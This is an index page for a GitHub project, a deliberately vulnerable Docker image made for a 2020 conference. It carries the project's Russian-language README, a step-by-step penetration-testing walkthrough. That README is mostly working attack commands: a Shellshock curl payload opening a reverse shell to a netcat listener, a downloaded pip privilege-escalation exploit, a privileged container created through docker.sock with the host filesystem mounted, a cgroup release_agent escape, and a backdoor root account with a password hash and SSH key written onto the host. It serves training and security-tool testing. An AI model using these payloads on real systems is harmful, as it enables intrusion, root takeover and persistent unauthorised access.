Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Swordfish-Security/Pentest-In-Docker
Docker image to exploit RCE, try for pentest methods and test container security solutions (trivy, falco and etc.)
https://github.com/Swordfish-Security/Pentest-In-Docker
devsecops docker escape pentesting rce shellshock vulnerable-container
Last synced: 22 days ago
JSON representation
Docker image to exploit RCE, try for pentest methods and test container security solutions (trivy, falco and etc.)
- Host: GitHub
- URL: https://github.com/Swordfish-Security/Pentest-In-Docker
- Owner: Swordfish-Security
- License: gpl-3.0
- Created: 2020-11-15T05:59:57.000Z (about 4 years ago)
- Default Branch: master
- Last Pushed: 2020-12-15T16:52:21.000Z (almost 4 years ago)
- Last Synced: 2024-08-05T17:26:25.178Z (4 months ago)
- Topics: devsecops, docker, escape, pentesting, rce, shellshock, vulnerable-container
- Language: Dockerfile
- Homepage:
- Size: 20.2 MB
- Stars: 78
- Watchers: 2
- Forks: 39
- Open Issues: 1
-
Metadata Files:
- Readme: README-RU.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - Swordfish-Security/Pentest-In-Docker - Docker image to exploit RCE, try for pentest methods and test container security solutions (trivy, falco and etc.) (Dockerfile)
README
# Pentest Docker Step-By-Step
Специально подготовленный образ для конференции Archdays 2020, позволяющий попрактиковать навыки тестирования на проникновение приложения внутри Docker-контейнера. Образ содержит в себе пакет уязвимый (CVE-2014-6271) Bash, позволяющий реализовать Remote Code Execution. Уязвимость более известна как Shellshock. За основу взят образ [opsxcq](https://github.com/opsxcq/exploit-CVE-2014-6271).
Эксплуатация уявзимости состоит из следующих этапов:
- Получение доступа в shell контейнера под пользователем www-data, используя RCE (Shellshock)
- Повышение привилегий до root через FakePip exploit
- Подключение к docker.sock и разворачивание нового контейнера ubuntu с сервисом SSH для дальнейшего подключения (с маунтом ```/:/host``` и максимальными привилегиями)
- Создание пользователя hidle на хосте
- Подключение к хосту с новым пользователем
- Разворачивание Weave ScopeДанный образ может также быть объектом тестирования для пилотирования решений по Container Security. Пакет bash может быть обнаружен trivy, а выход за пределы контейнера с помощью Falco.
![Pentest-In-Docker-Demo](https://github.com/Swordfish-Security/Pentest-In-Docker/blob/master/2020-11-17-124306.gif)
## Установка уязвимого окружения
Чтобы собрать уязвимый образ контейнера
docker build . -t vuln-wheezy
или
docker pull dvyakimov/vuln-wheezyДля реализации сцераия необходимо развернуть приложение с подключением docker.sock:
docker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it -p 8080:80 vuln-wheezy:latest
Вы можете проверить доступность версиса по адресу ```localhost:8080```
## Exploit
### Эксплуатация Shellshock
Запускаем на машине, к которой мы будем подключаться через reverse-shell netcat:
nc -l 1337
В новом окне эксплуатируем RCE с заменой ``````, на котором запущен netcat,`````` на тот, где у вас запущен уязвимый сервис:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i >& /dev/tcp//1337 0>&1'" http:///cgi-bin/vulnerable
## Изучение внутри контейнера# информация об ОС внутри контейнера
cat /etc/os-release
# информация о ядре. На основе этой информации можно начать искать CVE.
uname -rv
uname -a
# пользователь под которым провалились в контейнер
id# просмотр текущих cgroups
cat /proc/1/cgroup# просотр доступных переменных
env# сеть
ifconfig# cмотрим какие mounts были сделаны внутрь контейнера
cat /proc/mounts# смотрим есть ли docker.sock
cat /proc/mounts | grep docker.sock# просмотр прав на docker.sock
ls -l /var/run/docker.sock
Видим, что есть возможность выполнять установку пакетов pip от sudo:sudo -l
## Повышение привилегий внутри контейнераСкачиваем exploit для pip в /tmp:
cd /tmp && wget https://raw.githubusercontent.com/dvyakimov/FakePip/master/setup.py
Меняем `````` на тот IP-адрес, где у вас будет запущен еще один netcat:
cat setup.py | sed "s/192.168.168.2//" > setup-new.py && mv setup-new.py setup.py
Открываем в другом терминале, формируя новое подключение
nc -l 13372
Устанавливаем exploit через pip
sudo pip install . --upgrade --force-reinstall
Получаем root внутри контейнера
## Смена контейнера
Теперь, когда есть root, доустанавливаем то, что нам может понадобиться. Например, capsh, чтобы узнать Capabilities:
apt-get update && \
apt-get install libcap2-binУзнаем Capabilities:
grep Cap /proc/self/status
capsh --decode=00000000a80425fb # default запуск
# capsh --decode=00000000a82425fb если добавили sys_admin
# capsh --decode=0000003fffffffff есть контейнер priviligedЗдесь можно было бы поставить jq и создать контейнер через подключение по curl в docker.sock, но к сожалению на debian 7 curl настолько старый, что подключение к unix-сокету не поддерживается. Пойдем по пути подключения через netcat. Примеров в Интернете подключения через netcat немного, поэтому разбираемся самостоятельно.
Установить пакет, чтобы netcat работал с unix-socketapt-get install netcat netcat-openbsd
Теперь можем отправлять запросы в unix-socket:
echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
Скачиваем необходимый образ. Пусть это будет образ ubuntu с сервисом ssh:
nc -U /var/run/docker.sock
POST /v1.39/images/create?fromImage=rastasheep/ubuntu-sshd&tag=14.04 HTTP/1.0Создадим новый контейнер ubuntu через docker.sock. Важный момент, что здесь мы маунтим в папку /host всю директорию root хоста:
request="POST /v1.39/containers/create HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: 12345\r\n\r\n{\"Image\":\"rastasheep/ubuntu-sshd:14.04\",
\"HostConfig\":{\"Privileged\":true,\"Binds\":[\"/:/host\", \"/dev/log:/dev/log\"]}}" && echo -e $request | nc -U /var/run/docker.sockНа выходе будет id. Запускаем контейнер (заменяем `````` на полученный выше:
request="POST /v1.39/containers//start HTTP/1.0\r\n\r\n" && echo -e $request | nc -U /var/run/docker.sock
Проверим новый контейнер. Здесь же можно увидеть IP адрес в поле ```"IPAddress"```:
echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sockПодключаемся к соданному нами контейнеру пароль ```root```:
## Выход за пределы контейнера
Так как контейнер стал привилигрованный, то можно получить список процессов хоста.
Увидеть список процессов на хосте за счет лишних capabilities (чтобы это получилось, вставлять команды нужно step-by-step):d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` \
mkdir -p $d/w \
echo 1 >$d/w/notify_on_release \
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` \
touch /o \
echo $t/c >$d/release_agent \
printf '#!/bin/sh\nps >'"$t/o" >/c \
chmod +x /c \
sh -c "echo 0 >$d/w/cgroup.procs" \
sleep 1 \
cat /oПодключившись на новый контейнер, создаем пользователя ```hidle``` на хосте.
Добавляем в /host/etc/passwd:echo 'hidle:x:0:0:Hidle,,,:/home/hidle:/bin/bash' >> /host/etc/passwd
Добавляем в /host/etc/shadow -пароль ```666106610```:
echo 'hidle:$6$rU8Vq2aztTvx6FT8$WNeoWmMGe3CGEXYid6c2oUqy1rXuo2nLpyQpywECLM5FlUZo7hp6TBPZyHeDMohPamrDKprK5C5zO3gbEYrc20:18582:0:99999:7:::' >> /host/etc/shadow
Добавляем в /host/etc/group:
echo 'hidle:x:0:' >> /host/etc/group
Добавляем в /host/etc/gshadow:
echo 'hidle:!::' >> /host/etc/gshadow
Также создаем себе директорию:
mkdir /host/home/hidle
Правда подключиться к хосту может не получиться в случае, если на хосте установлен запрет входа по паролю. В таком случае:
mkdir /host/home/hidle/.ssh
Генерируем пару ключей:
ssh-keygen
Кладем публичный ключ на хост:
cat /root/.ssh/id_rsa.pub >> /host/home/hidle/.ssh/authorized_keys
Теперь подключаемся на хост с помощью созданного пользователя:
Мы подключились к хосту став root несмотря на то, что мы не знаем пароль от root.
## Выполнение команд на хостеОказавшись на хосте можно сказать, что игра закончена, но мы можем сделать еще кое-что:
sudo curl -L git.io/scope -o /usr/local/bin/scope
sudo chmod a+x /usr/local/bin/scope
scope launchНа том же IP адресе, на который мы подключались с RCE, появился новый сервис по 4040 порту. Если перейти на новый сервис через браузер, можно увидеть информацию обо всех имеющихся контейнерах, информацию о RAM/CPU, вплоть до возможности подключиться к любому сервису через терминал.
[Здесь](https://www.intezer.com/blog/cloud-workload-protection/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/) вы можете прочитать про реальные атаки через Weave Scope.
### Дисклеймер
Все, что продемонстрировано здесь используется для учебных целей. Не пытайтесь повторить без соответствующих прав на сторонних организациях. Swordfish Security не несет ответственность за любой причиненный вред в следствии прямого или косвенного использования данной инструкции и соответствующего ПО.